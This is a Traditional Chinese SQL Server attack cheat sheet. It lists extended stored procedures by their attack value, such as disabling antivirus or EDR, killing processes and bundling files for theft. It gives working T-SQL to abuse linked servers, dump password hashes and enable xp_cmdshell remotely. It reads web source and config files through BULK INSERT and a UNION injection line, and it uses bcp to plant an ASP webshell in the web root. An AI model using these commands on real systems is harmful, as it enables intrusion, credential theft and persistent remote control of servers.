| 擴展存儲 | 功能 | 攻擊價值 |
|---|---|---|
xp_servicecontrol | 啟動/停止/暫停/繼續服務 | 停用防毒、備份、監控服務;重啟 SQL 服務刷新配置 |
xp_availablemedia | 列舉本機磁碟機 | 偵察可寫路徑、備份位置 |
xp_dirtree | 遞迴列出目錄結構 | 尋找 Web 根目錄、配置檔、備份檔 |
xp_enumdsn | 列舉系統/用戶 ODBC DSN | 發現其他資料庫連線字串 (含密碼) |
xp_loginconfig | 顯示登入模式、審計等級 | 偵察安全配置 |
xp_makecab | 建立 CAB 壓縮檔 | 打包大量檔案一次竊取 (繞過單檔大小限制) |
xp_ntsec_enumdomains | 列舉可訪問網域 | 網域偵察、橫向目標 |
xp_terminate_process | 依 PID 終止程序 | 殺掉 SQL Agent、防毒、EDR、備份代理 |
機制:`master..sysservers` 存儲連結伺服器定義。若設定 `sp_addlinkedsrvlogin` 建立自動登入映射,攻擊者可無密碼存取遠端實例。
-- 列舉連結伺服器
SELECT * FROM master..sysservers;
-- 執行遠端查詢 (OPENQUERY 需連結伺服器支援)
SELECT * FROM OPENQUERY(LinkedSrv, 'SELECT name, password_hash FROM master..syslogins');
-- 遠端執行 xp_cmdshell (需 RPC 啟用)
EXEC ('EXEC master..xp_cmdshell ''whoami''') AT LinkedSrv;
-- 遠端啟用 xp_cmdshell (若已禁用)
EXEC ('EXEC sp_configure ''show advanced'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT LinkedSrv;
前提:SQL 服務帳號對目標檔案有讀取權限。
-- 1. 建立暫存表
CREATE TABLE #tmp (line VARCHAR(8000));
-- 2. 將檔案內容導入 (每行一筆)
BULK INSERT #tmp FROM 'C:\Inetpub\wwwroot\login.asp'
WITH (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n', FIRSTROW = 1);
-- 3. 透過 UNION/錯誤回顯/應用層查詢讀取內容
SELECT * FROM #tmp;
-- 或聯合注入:
' UNION SELECT line, 1, 1 FROM #tmp--
**用途**:竊取 Web 原始碼 (ASP/ASPX/PHP/JSP)、配置檔 (web.config、連線字串)、日志檔。
命令列工具,在 SQL 進程外執行,需登入認證 (攻擊者可建立 SQL 登入或利用信任連線)。
-- 將查詢結果導出為 ASP Webshell
bcp "SELECT '<%@ Language=JScript %><% eval(Request.Item[\"cmd\"], \"unsafe\"); %>'"
QUERYOUT "C:\Inetpub\wwwroot\shell.asp" -c -S localhost -U sa -P "StrongPass"
**威力**:落地 Webshell、修改配置檔、植入啟動腳本、寫入計劃任務 XML。